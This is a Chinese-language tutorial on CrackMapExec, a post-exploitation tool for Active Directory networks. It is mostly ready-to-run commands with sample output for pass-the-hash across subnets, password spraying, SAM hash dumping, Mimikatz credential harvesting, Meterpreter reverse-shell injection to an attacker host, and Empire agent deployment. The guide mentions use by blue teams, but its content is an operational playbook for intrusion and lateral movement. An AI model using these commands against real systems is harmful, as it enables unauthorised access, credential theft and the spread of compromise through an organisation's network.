CrackMapExec(又名CME)是一个后渗透工具,帮助自动评估大型活动目录网络的安全性。CME采用了“自给自足”的概念:滥用内置的Active Directory特性/协议来实现它的功能,并允许它逃避大多数端点保护/id/IPS 解决方案。
虽然CME主要用于进攻目的(例如红队),但蓝队也可以使用CME来评估帐户权限,查找可能的错误配置和模拟攻击场景。
CrackMapExec由@byt3bl33d3r 开发,For installation Check the GitHub Repo
网络发现 找出网络上有什么:
命令执行 在windows系统上执行命令需要管理员凭据,当身份验证成功时,CME通过在输出中追加’(Pwn3d!)’,自动告诉您正在使用的凭据集是否对主机具有管理员访问权限。
执行方法 CME有三种不同的命令执行方法:
1 2 3 wmiexec executes commands via WMI atexec executes commands by scheduling a task with windows task scheduler smbexec executes commands by creating and running a service
默认情况下,如果一个执行方法失败,CME将故障转移到另一个执行方法。它尝试按以下顺序执行命令:
如果希望强制CME只使用一个执行方法,可以使用-execute-method标志指定哪个执行方法。
执行命令 在下面的例子中,尝试使用-x flag在目标上执行whoami:
1 2 3 4 5 6 06-05-2016 14:34:35 CME 192.168.10.11:445 WIN7BOX [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB) 06-05-2016 14:34:35 CME 192.168.10.11:445 WIN7BOX [+] LAB\Administrator:P@ssw0rd (Pwn3d!) 06-05-2016 14:34:39 CME 192.168.10.11:445 WIN7BOX [+] Executed command 06-05-2016 14:34:39 CME 192.168.10.11:445 WIN7BOX lab\administrator 06-05-2016 14:34:39 [*] KTHXBYE!
还可以直接使用-X flag执行PowerShell命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 06-05-2016 14:36:06 CME 192.168.10.11:445 WIN7BOX [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB) 06-05-2016 14:36:06 CME 192.168.10.11:445 WIN7BOX [+] LAB\Administrator:P@ssw0rd (Pwn3d!) 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX [+] Executed command 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX Name Value 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX ---- ----- 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX CLRVersion 2.0.50727.5420 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX BuildVersion 6.1.7601.17514 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX PSVersion 2.0 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX WSManStackVersion 2.0 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX PSCompatibleVersions {1.0, 2.0} 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX SerializationVersion 1.1.0.1 06-05-2016 14:36:10 CME 192.168.10.11:445 WIN7BOX PSRemotingProtocolVersion 2.1 06-05-2016 14:36:10 [*] KTHXBYE!
检查已登录的用户 1 crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS' --lusers
凭据攻击 dump本地sam hash 1 crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --sam
hash传递 CME支持通过SMB使用-H标志传递哈希攻击进行身份验证:
1 2 3 crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH crackmapexec smb <target(s)> -u username -H NTHASH
对子网hash传递攻击 通过admin + hash的smb登录到所有子网机器。通过使用-local-auth和找到的本地管理密码,可以使用该本地管理密码/散列登录到启用smb的整个子网机器。
1 cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaa35b51404ee:5509de4ff0a6e8d9f4a61100e51' --local-auth
空会话 可以通过使用“作为用户名和/或密码”来使用空会话登录 例子:
1 crackmapexec smb <target(s)> -u '' -p ''
爆破和密码喷射 可以通过指向子网和传递creds的crackmapexec来做到这一点:
SMB的例子
1 crackmapexec 10.0.2.0/24 -u ‘admin’ -p ‘P@ssw0rd'
所有协议都支持暴力破解和密码喷洒。有关使用特定协议强制使用暴力破解/密码喷洒的详细信息,请参阅相应的wiki部分。
通过指定文件或多个值CME将自动暴力登录为所有目标使用指定的协议:
例子:
1 2 3 4 5 6 7 crackmapexec <protocol> <target(s)> -u username1 -p password1 password2 crackmapexec <protocol> <target(s)> -u username1 username2 -p password1 crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes
模块 从v3.1开始,模块的加载和使用方式发生了变化,以使CME的可移植性更强,并允许对其进行打包。
在v4.0中,每个协议现在都可以拥有自己的模块集(好玩好玩好玩!)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 crackmapexec -L [*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it [*] shellinject Downloads the specified raw shellcode and injects it into memory using PowerSploit' s Invoke-Shellcode.ps1 script[*] rundll32_exec Executes a command using rundll32 and Windows's native javascript interpreter [*] com_exec Executes a command using a COM scriptlet to bypass whitelisting [*] tokenrider Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials [*] mimikatz Executes PowerSploit' s Invoke-Mimikatz.ps1 script[*] tokens Enumerates available tokens using Powersploit's Invoke-TokenManipulation [*] peinject Downloads the specified DLL/EXE and injects it into memory using PowerSploit' s Invoke-ReflectivePEInjection.ps1 script[*] powerview Wrapper for PowerView's functions [*] mimikittenz Executes Mimikittenz [*] enum_chrome Uses Powersploit' s Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords[*] metinject Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script [*] eventvwr_bypass Executes a command using the eventvwr.exe fileless UAC bypass
使用一个模块 1 Run cme <protocol> <target(s)> -M <module name>.
例如,运行SMB Mimikatz模块:
1 2 cme <protocol> -M <module name> --options to view a modules supported options, e.g: cme smb -M mimikatz --options
使用模块选项
模块选项用-o标志指定。所有选项都以KEY=value的形式指定(msfvenom风格)
例子:
1 cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'
模块 - MimiKatz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo cme 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M mimikatz CME 192.168.215.104:445 MEETINGROOM [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE) CME 192.168.215.104:445 MEETINGROOM [+] MEETINGROOM\Administrator:PASS (Pwn3d!) MIMIKATZ 192.168.215.104:445 MEETINGROOM [+] Executed payload MIMIKATZ [*] Waiting on 1 host(s) MIMIKATZ 192.168.215.104 [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 - MIMIKATZ [*] Waiting on 1 host(s) MIMIKATZ 192.168.215.104 [*] - - "POST / HTTP/1.1" 200 - MIMIKATZ 192.168.215.104 [+] Found credentials in Mimikatz output (domain\username:password) MIMIKATZ 192.168.215.104 SE\Meeting:280778ddbb374ab9d2df719 MIMIKATZ 192.168.215.104 SE\MEETINGROOM$:0bfa8060fc6c6d42d6ea124 MIMIKATZ 192.168.215.104 SE\MEETINGROOM$:b245712b92126c953f203d6a MIMIKATZ 192.168.215.104 [*] Saved Mimikatz's output to Mimikatz-192.168.215.104-2018-01-02_144545.log [*] KTHXBYE!
模块 - Enum_Chrome 1 sudo cme 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M enum_chrome
使用CrackMapExec来get shell Metasploit Module - Metinject
1 2 3 4 5 6 7 cme -M metinject --show-options [*] metinject module options: LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process)
SMB to Meterpreter shell
1 2 3 4 5 6 7 8 sudo cme 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M met_inject -o LHOST=192.168.215.109 LPORT=5656 Password: CME 192.168.215.104:445 MEETINGROOM [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE) CME 192.168.215.104:445 MEETINGROOM [+] MEETINGROOM\Administrator:PASS (Pwn3d!) METINJECT 192.168.215.104:445 MEETINGROOM [+] Executed payload METINJECT [*] Waiting on 1 host(s) METINJECT 192.168.215.104 [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 - [*] KTHXBYE!
Empire 启动RESTful API
1 2 3 4 5 6 empire --rest --user empireadmin --pass gH25Iv1K68@^ [*] Loading modules from: /usr/local/Cellar/empire/1.5_1/libexec/lib/modules/ * Starting Empire RESTful API on port: 1337 * RESTful API token: 3brqi3nypvjzqgd269km091onaqc1t6kz8l1fclk * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)
启动 empire listener to target
1 2 3 4 5 sudo cme 192.168.215.104 -u Administrator -p PASSWORD --local-auth -M empire_exec -o LISTENER=CMETest EMPIRE_EXEC [+] Successfully generated launcher for listener 'CMETest' CME 192.168.215.104:445 MEETINGROOM [*] Windows 6.3 Build 9600 (name:MEETINGROOM) (domain:SE) CME 192.168.215.104:445 MEETINGROOM [+] MEETINGROOM\Administrator:PASSWORD (Pwn3d!) EMPIRE_EXEC 192.168.215.104:445 MEETINGROOM [+] Executed Empire Launcher
Empire & DeathStar 联动 CrackMapExec可以在被入侵的机器上部署empire代理。这使得进一步的后开发活动更加容易,特别是如果使用DeathStar的自动攻击能力。通过使用empire_exec模块并指定您希望代理使用的侦听器,这将部署和激活代理。所有收集到的凭据都可以导入到CrackMapExec凭据数据库中。
有了所有这些功能,CrackMapExec可以使任何测试者或攻击者很容易获得一台被入侵的计算机,并通过几个基本命令迅速在组织中传播。